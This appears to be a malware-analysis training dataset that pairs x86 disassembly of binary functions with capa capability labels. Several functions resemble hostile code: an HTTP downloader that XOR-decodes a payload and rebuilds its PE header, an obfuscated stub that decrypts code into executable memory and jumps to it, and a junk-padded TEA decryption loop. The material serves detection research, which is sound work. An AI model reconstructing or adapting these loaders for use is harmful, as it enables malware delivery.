joyce8/EMBER2024-capa huggingface dataset:
Function at 0x71a0c9a3
Capabilities:
Check http status code
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.71a11ce0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x71a04180
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [0x71a01214]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x71a0cb22
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [0x71a01210]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x71a0cb14
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [0x71a0120c]
test eax, eax
je 0x71a0caff
cmp dword [ebp - 0x10], 0xc8
jne 0x71a0caff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [0x71a01208]
call edi
test eax, eax
je 0x71a0cafa
cmp dword [ebp - 0xc], 0
jne 0x71a0cabe
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.71a0ee4a
test eax, eax
pop ecx
je 0x71a0cab1
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0dd83
pop ecx
test eax, eax
pop ecx
jne 0x71a0cafa
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0ede7
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x71a0cafa
cmp dword [ebp - 8], 0
je 0x71a0cb11
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call fcn.71a11c84
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x71a0ca70
push dword [ebp + 0xc]
jmp 0x71a0cb00
push edi
mov esi, dword [0x71a01220]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x71a0cb58
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [0x71a01220]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x71a0cb32
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0cb5d
Capabilities:
Check http status code
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.71a11ce0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x71a04180
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [0x71a01214]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x71a0ccdc
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [0x71a01210]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x71a0ccce
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [0x71a0120c]
test eax, eax
je 0x71a0ccb9
cmp dword [ebp - 0x10], 0xc8
jne 0x71a0ccb9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [0x71a01208]
call edi
test eax, eax
je 0x71a0ccb4
cmp dword [ebp - 0xc], 0
jne 0x71a0cc78
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.71a0ef0d
test eax, eax
pop ecx
je 0x71a0cc6b
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0dd83
pop ecx
test eax, eax
pop ecx
jne 0x71a0ccb4
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0eeaa
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x71a0ccb4
cmp dword [ebp - 8], 0
je 0x71a0cccb
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call fcn.71a11c84
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x71a0cc2a
push dword [ebp + 0xc]
jmp 0x71a0ccba
push edi
mov esi, dword [0x71a01220]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x71a0cd12
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [0x71a01220]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x71a0ccec
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0cd50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x71a0ce14
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x71a0ce14
call fcn.71a0cd17
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.71a0cd17
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret
Function at 0x71a0e569
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x1f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x8f]
mov byte [ebp - 0x90], bl
push 0x27
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [fcn.71a0105c]
lea eax, [ebp - 0x234]
push eax
push 0x104
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x234]
push eax
call fcn.71a11ca2
pop ecx
mov esi, 0x80
pop ecx
lea eax, [ebp - 0x234]
push ebx
push esi
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [fcn.71a01068]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x71a0e661
lea ecx, [ebp - 0xc]
push ebx
push ecx
lea ecx, [ebp - 0x90]
push esi
push ecx
push eax
call dword [fcn.71a01060]
push dword [ebp - 0x10]
mov edi, eax
call dword [fcn.71a01100]
cmp edi, ebx
je 0x71a0e783
xor byte [ebp + ebx - 0x90], 0xea
inc ebx
cmp ebx, esi
jb 0x71a0e61b
mov edi, dword [ebp + 0xc]
push 0x20
pop esi
lea eax, [ebp - 0x90]
push esi
push eax
push edi
call fcn.71a11c84
lea eax, [ebp - 0x70]
push esi
push eax
lea eax, [edi + 0x20]
push eax
call fcn.71a11c84
lea eax, [ebp - 0x50]
push esi
push eax
lea eax, [edi + 0x40]
push eax
call fcn.71a11c84
push esi
lea eax, [ebp - 0x30]
jmp 0x71a0e776
lea eax, [ebp - 0x234]
push eax
push 0x104
call edi
lea eax, [ebp - 0x234]
push 0x71a054e4
push eax
call fcn.71a11ca2
push dword [ebp + 8]
lea eax, [ebp - 0x234]
push eax
call fcn.71a11ca2
add esp, 0x10
lea eax, [ebp - 0x234]
push ebx
push esi
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [fcn.71a01068]
mov edi, eax
cmp edi, 0xffffffff
je 0x71a0e6eb
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x90]
push esi
push eax
push edi
call dword [fcn.71a01060]
push edi
mov dword [ebp + 8], eax
call dword [fcn.71a01100]
cmp dword [ebp + 8], ebx
je 0x71a0e783
xor byte [ebp + ebx - 0x90], 0xea
inc ebx
cmp ebx, esi
jb 0x71a0e6d9
jmp 0x71a0e628
lea eax, [ebp - 4]
push eax
push 0x71a053e0
call fcn.71a0f007
pop ecx
test eax, eax
pop ecx
je 0x71a0e729
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x130]
push 0xa0
push eax
push ebx
push ebx
push 0x22000b
push dword [ebp - 4]
call dword [fcn.71a010bc]
push dword [ebp - 4]
call dword [fcn.71a01100]
cmp byte [ebp - 0x110], bl
je 0x71a0e788
cmp byte [ebp - 0xf0], bl
je 0x71a0e788
mov edi, dword [ebp + 0xc]
push 0x20
pop esi
lea eax, [ebp - 0x110]
push esi
push eax
push edi
call fcn.71a11c84
lea eax, [ebp - 0xf0]
push esi
push eax
lea eax, [edi + 0x20]
push eax
call fcn.71a11c84
lea eax, [ebp - 0xd0]
push esi
push eax
lea eax, [edi + 0x40]
push eax
call fcn.71a11c84
push esi
lea eax, [ebp - 0xb0]
add edi, 0x60
push eax
push edi
call fcn.71a11c84
add esp, 0x30
push 1
pop eax
jmp 0x71a0e78a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0e78f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
and byte [ebp - 0x80], 0
push esi
push edi
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
mov esi, 0x80
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
push dword [ebp + 0xc]
stosb byte es:[edi], al
lea eax, [ebp - 0x80]
push eax
call fcn.71a11c84
add esp, 0xc
xor eax, eax
xor byte [ebp + eax - 0x80], 0xea
inc eax
cmp eax, esi
jb 0x71a0e7c2
lea eax, [ebp - 0x288]
push eax
push 0x104
call dword [fcn.71a0105c]
push dword [ebp + 8]
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x184]
push 0x71a0537c
push eax
call dword [fcn.71a011cc]
add esp, 0x10
lea eax, [ebp - 0x184]
push eax
call dword [fcn.71a010ac]
push 0
push esi
push 2
push 0
push 3
lea eax, [ebp - 0x184]
push 0x40000000
push eax
call dword [fcn.71a01068]
mov edi, eax
cmp edi, 0xffffffff
je 0x71a0e845
lea eax, [ebp + 0xc]
push 0
push eax
lea eax, [ebp - 0x80]
push esi
push eax
push edi
call dword [fcn.71a01058]
push edi
call dword [fcn.71a01100]
pop edi
pop esi
leave
ret 8
Function at 0x414779
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004100b5
xor ebx, ebx
cmp dword [0x4244a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x41484e
push 0x41cb64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x4147b9
xor eax, eax
jmp 0x414912
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41cb58
push edi
call esi
cmp eax, ebx
je 0x4147b2
push eax
call fcn.00410052
mov dword [esp], 0x41cb48
push edi
mov dword [0x4244a8], eax
call esi
push eax
call fcn.00410052
mov dword [esp], 0x41cb34
push edi
mov dword [0x4244ac], eax
call esi
push eax
call fcn.00410052
mov dword [0x4244b0], eax
lea eax, [ebp - 8]
push eax
call fcn.0040eac1
test eax, eax
pop ecx
pop ecx
je 0x41481c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cbfb
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x41484e
push 0x41cb18
push edi
call esi
push eax
call fcn.00410052
cmp eax, ebx
pop ecx
mov dword [0x4244b8], eax
je 0x41484e
push 0x41cb00
push edi
call esi
push eax
call fcn.00410052
pop ecx
mov dword [0x4244b4], eax
mov eax, dword [0x4244b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4148c7
cmp dword [0x4244b8], esi
je 0x4148c7
push eax
call fcn.004100be
pop ecx
call eax
cmp eax, ebx
je 0x414894
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4244b8]
call fcn.004100be
pop ecx
call eax
test eax, eax
je 0x414894
test byte [ebp - 0x18], 1
jne 0x4148c7
lea eax, [ebp - 0xc]
push eax
call fcn.0040eaf8
test eax, eax
pop ecx
je 0x4148af
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cbfb
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4148be
or dword [ebp + 0x10], 0x200000
jmp 0x4148f8
or dword [ebp + 0x10], 0x40000
jmp 0x4148f8
mov eax, dword [0x4244ac]
cmp eax, esi
je 0x4148f8
push eax
call fcn.004100be
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4148f8
mov eax, dword [0x4244b0]
cmp eax, esi
je 0x4148f8
push dword [ebp - 4]
push eax
call fcn.004100be
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4244a8]
call fcn.004100be
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41be95
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x41d67e
call fcn.004058e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x41e964
xor eax, eax
push 0xa
lea ecx, [esi + 0x30]
mov dword [ebp - 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call fcn.00411fd1
push 0xa
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 1
call fcn.00411fd1
push 0xa
lea ecx, [esi + 0x68]
mov byte [ebp - 4], 2
call fcn.00411e4e
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x41f9cc
mov dword [esi + 0xc], 0x54
mov dword [esi + 0x28], 0x4131f0
mov eax, esi
mov dword fs:[0], ecx
pop esi
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x401bd7
pop dword [ebp - 0x4c]
mov eax, 0x8d891375
add eax, 0x72b70862
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xc3a03109
add dword [ebp - 0x5c], 0x8ab21442
mov dword [ebp - 0x58], 0xb16cec30
sub dword [ebp - 0x58], 0x7f399feb
mov dword [ebp - 0x54], 0x7a5b62a5
sub dword [ebp - 0x54], 0x2e0f1e77
mov dword [ebp - 0x50], 0xe7cc50c5
sub dword [ebp - 0x50], 0xe7cc50c5
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x1d6842b4
add eax, 0xe2d82dac
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xde9602a5
add dword [ebp - 0x5c], 0x95dc66b1
mov dword [ebp - 0x58], 0xeb228b8b
sub dword [ebp - 0x58], 0xa9b62a16
mov dword [ebp - 0x54], 0x685f6480
sub dword [ebp - 0x54], 0x4eff814
mov dword [ebp - 0x50], 0xc08aa809
add dword [ebp - 0x50], 0x3f7557f7
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x13e9d3d3
add eax, 0xec569d2d
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3675f
push 0
call eax
mov ecx, 0x9f883896
sub ecx, 0x9f87f10b
mov esi, eax
mov edi, 0xfee4ad15
sub edi, 0xfea3ad15
add edi, dword [ebp - 0x4c]
mov edx, 0xf7963c21
sub edx, 0xec965fdd
mov dword [ebp - 0x20], 0x4d49f69b
mov ebx, dword [edi]
xor dword [ebp - 0xc], 0xfe7ab688
sub ebx, edx
xor dword [ebp - 0x3c], eax
mov dword [esi], ebx
add esi, 0xacd69bf2
sub esi, 0xacd69bee
add edi, 0xb3c3d2f8
sub edi, 0xb3c3d2f4
loop 0x401cf9
add eax, 0x5e7b4e07
sub eax, 0x5e7a3d08
mov ebx, eax
add eax, 0x9b29a94e
add eax, 0x64d656b7
mov ecx, 0x206a754f
add ecx, 0xdfd58ab1
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x406410
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x81037b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4046dc
call fcn.00407071
push 4
mov dword [esp + 0x18], 0
call fcn.00407e30
mov edi, eax
add esp, 4
test edi, edi
je 0x406484
push ebx
call fcn.00406f49
mov dword [edi], eax
call fcn.00406d08
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00407032
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406478
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.0040705a
pop ebx
jmp 0x406486
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4088a1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x813658]
jne 0x4088ab
repz ret
jmp fcn.0040d2fc
Function at 0x412ed1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x813658]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040be66
and dword [ebp - 0x14], 0
cmp dword [0x8163d8], 0
mov dword [ebp - 0x18], eax
jne 0x412f84
push 0x404080
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41302c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404074
push ebx
call edi
test eax, eax
je 0x41302c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x404064
push ebx
mov dword [0x8163d8], eax
call edi
push eax
call esi
push 0x404050
push ebx
mov dword [0x8163dc], eax
call edi
push eax
call esi
push 0x404034
push ebx
mov dword [0x8163e0], eax
call edi
push eax
call esi
mov dword [0x8163e8], eax
test eax, eax
je 0x412f84
push 0x40401c
push ebx
call edi
push eax
call esi
mov dword [0x8163e4], eax
mov eax, dword [0x8163e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412fdd
cmp dword [0x8163e8], ecx
je 0x412fdd
push eax
call esi
push dword [0x8163e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412fdd
test ebx, ebx
je 0x412fdd
call edi
test eax, eax
je 0x412fd4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x412fd4
test byte [ebp - 8], 1
jne 0x412fdd
or dword [ebp + 0x10], 0x200000
jmp 0x413010
mov eax, dword [0x8163dc]
cmp eax, dword [ebp - 0x18]
je 0x413010
push eax
call esi
test eax, eax
je 0x413010
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413010
mov eax, dword [0x8163e0]
cmp eax, dword [ebp - 0x18]
je 0x413010
push eax
call esi
test eax, eax
je 0x413010
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8163d8]
call esi
test eax, eax
je 0x41302c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41302e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088a1
leave
ret
Function at 0x80edc0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0xb9b120], 0x37
jne 0x80ee6c
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [esp + 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea ecx, [esp + 0x410]
push ecx
push 0
push 0x404128
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0x404180
push 0x4041c4
push 0x404208
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov edx, dword [0xb9b124]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x81b184]
mov byte [edx + esi], cl
add esp, 0x80c
ret
Function at 0x80f080
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0xb9b120]
sub esp, 0x484
push ebx
mov ebx, dword [0x81b184]
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x80f271
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
jmp 0x80f0b6
mov ebx, dword [esp + 0x20]
xor esi, esi
cmp dword [0xb9b120], 0x1c
jne 0x80f0cd
lea eax, [esp + 0x40]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [ebx + 4]
mov edx, dword [0x814708]
mov eax, dword [0x81470c]
mov edi, dword [ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x814710]
mov dword [esp + 0x34], edx
mov edx, dword [0x814714]
mov ebx, 0xc6ef3720
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x24], 0x20
jmp 0x80f112
xor esi, esi
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x3c]
lea edx, [ebx + edi]
xor ecx, edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
mov dword [0xb9a0a4], esi
mov eax, dword [esp + 0x1c]
add dword [0xb9a0a4], eax
mov eax, dword [0xb9a0a4]
mov dword [esp + 0x38], eax
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x38]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x18], eax
mov edx, dword [esp + 0x18]
shl edx, 4
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x34]
add dword [esp + 0x14], eax
cmp dword [0xb9b120], 0x1be
mov eax, dword [esp + 0x18]
lea ebp, [ebx + eax]
jne 0x80f1a6
lea ecx, [esp + 0x44]
push ecx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov esi, dword [esp + 0x18]
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0xb9b120], 0x979
mov dword [0xb9a0a8], 0xff6b3619
mov dword [0xb9a0ac], 0xffffffff
jne 0x80f1f5
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push 0
lea edx, [esp + 0x94]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [esp + 0x14]
xor esi, ebp
xor eax, esi
sub edi, eax
add ebx, 0x61c88647
dec dword [esp + 0x24]
mov dword [esp + 0x14], eax
jne 0x80f110
cmp dword [0xb9b120], 0x8d4
jne 0x80f22a
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ecx
cmp dword [0xb9b120], 0x17
jne 0x80f260
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x28]
mov dword [esp + 0x20], esi
jne 0x80f0b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x484
ret